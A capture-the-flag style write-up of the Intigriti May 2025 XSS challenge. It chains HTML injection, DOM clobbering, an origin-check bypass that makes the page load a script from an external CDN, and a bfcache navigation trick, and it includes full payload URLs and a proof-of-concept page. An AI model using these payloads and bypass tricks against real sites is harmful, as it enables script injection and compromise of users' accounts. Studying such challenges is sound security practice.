Published on

Intigriti May Challenge 2025 by joaxcar

Authors

DOM clobbering + Origin Bypass + Bfcache to get XSS | Unintended Solution

🧩 Overview

alt text

This challenge combines four web exploitation techniques to achieve XSS:

  1. HTML Injection
  2. DOM Clobbering
  3. Origin check bypass
  4. BFCache to get XSS

Rules of the challenge :

alt text

UI of challenge:

alt text

JS files loaded:

1. HTML Injection – Regex Fault

Regex Misconfiguration

Regex fault: It checks if it ends with the allowed characters.

if (name && name.match(/([a-zA-Z0-9]+|\s)+$/)) { const messageDiv = document.getElementById('message'); const spinner = document.createElement('div'); spinner.classList.add('spinner'); messageDiv.appendChild(spinner);

alt text

Throught which we can get HTMLI .

https://challenge-0525.intigriti.io/index.html?name=a%22%3E%3Cimg%2Fsrc%3Dx%20onload=alert(1)%3Eb

alt text

Yet, XSS doesn’t trigger — DOMPurify is sanitizing the HTML.

alt text

Its latest version of DOMPurify

alt text

We can utilize this to clobber the DOM.

2. DOM Clobbering

Target to clobber:

const src = window.CONFIG_SRC?.dataset["url"] || location.origin + "/confetti.js"

To clobber this we can use this html injection

test<div/id="CONFIG_SRC"%20data-url=1337></div>test

alt text

3. Origin check bypass

To get our script URL to load we need to bypass origin check

alt text

To bypass this function

if(safeURL(src)){ const script = document.createElement('script'); script.src = new URL(src); document.head.appendChild(script); }

function safeURL(url){ let normalizedURL = new URL(url, location) return normalizedURL.origin === location.origin }

  • https:xyz.com://abcd.com -> Yeids origin of abcd.com when New URL(x,location)

While,

  • https:xyz.com://abcd.com -> Yeids origin of xyz.com when New URL(x)
alt text

Crafted Payload:

https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io

This bypasses the origin check and loads external JS from a third-party domain.

Combined Payload (So Far)

https://challenge-0525.intigriti.io/index.html?name=test%3Cdiv/id=%22CONFIG_SRC%22%20data-url=https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io%3E%3C/div%3Etest

Still no XSS — Why?

The script is loaded before our DOM clobbering takes effect:

alt text

window.CONFIG_SRC?.dataset["url"] set to undefined .

alt text

I believe there are two possibilities: First, if we can somehow ensure that the function requestIdleCallback(addDynamicScript); executes only after our injection takes place; Or second, we call this function again after our injection . I explored second one .

alt text

4. Bfcache to get XSS

Strategy

  1. Load the vulnerable page with payload inside an <iframe>.

  2. Wait for the attacker page to be cached via BFCache which includes iframe too .

  3. Programmatically go back using history.go(-1)

  4. Unpause JS execution which leads to XSS because DOM is already in clobbered state with our injected script src.

We can use

window.onpageshow = function(event) { if (event.persisted) { history.go(-1); } };

To handle if page loaded from bfcache .

Final POC:

🎥 Final PoC

It first creates bunch of history URL and go back to finding cached one to get XSS .

https://youtu.be/XnIhAy8q-sg

Watch the PoC on YouTube



<iframe
    src="https://challenge-0525.intigriti.io/index.html?name=%3Cdiv/id=%22CONFIG_SRC%22+data-url=https:cdn.jsdelivr.net/gh/romiyokarkicodes/xss_lib@main/confetti.js%23://challenge-0525.intigriti.io%3E%3C/div%3E%3Cform%20id=%22observer%22%3E%3Cinput%20id=%22disconnect()%22/%3E%20%3C/form%3E%3Carticle%20id=%22innerWidth%22%3E%3C/article%3E%3Cimg%20src=%27test"></iframe>


<p><strong>&nbsp;</strong></p>
<p><strong>Wait to load ?id=10 and GET XSSED ! lol 
    </strong><br /><strong>Enjoy!</strong></p>

    <script>
        // Utility to wait for a given time (5 seconds)
        function waitForTime(ms) {
            return new Promise(resolve => setTimeout(resolve, ms));
        }
    
        // Get query param value
        function getQueryParam(param) {
            const urlParams = new URLSearchParams(window.location.search);
            return urlParams.get(param);
        }
    
        // Main logic
        (async function main() {
            const id = parseInt(getQueryParam("id"), 10);
            const direction = localStorage.getItem("direction");
    
            await waitForTime(5000);
    
            window.onpageshow = function(event) {
                if (event.persisted) {
                    history.go(-1);
                }
            };
    
            if (!localStorage.getItem("myCat")) {
                // Move forward
                if (id < 10) {
                    window.location.search = `?id=${id + 1}`;
                } else if (id === 10) {
                    localStorage.setItem("myCat", "Tom");
                    localStorage.setItem("direction", "backward");
                    history.back();
                }
            } else {
                // Move backward
                if (direction === "backward" && id > 1) {
                    history.back();
                } else if (id === 1) {
                    localStorage.removeItem("direction");
                    localStorage.removeItem("myCat");
                    // Optionally reload or stop here
                    console.log("Loop complete");
                }
            }
        })();
    </script>
    








<p><strong>&nbsp;</strong></p>



Reference:

https://web.dev/articles/bfcache?utm_source=devtools&utm_campaign=stable

https://domclob.xyz/

https://developer.chrome.com/blog/using-requestidlecallback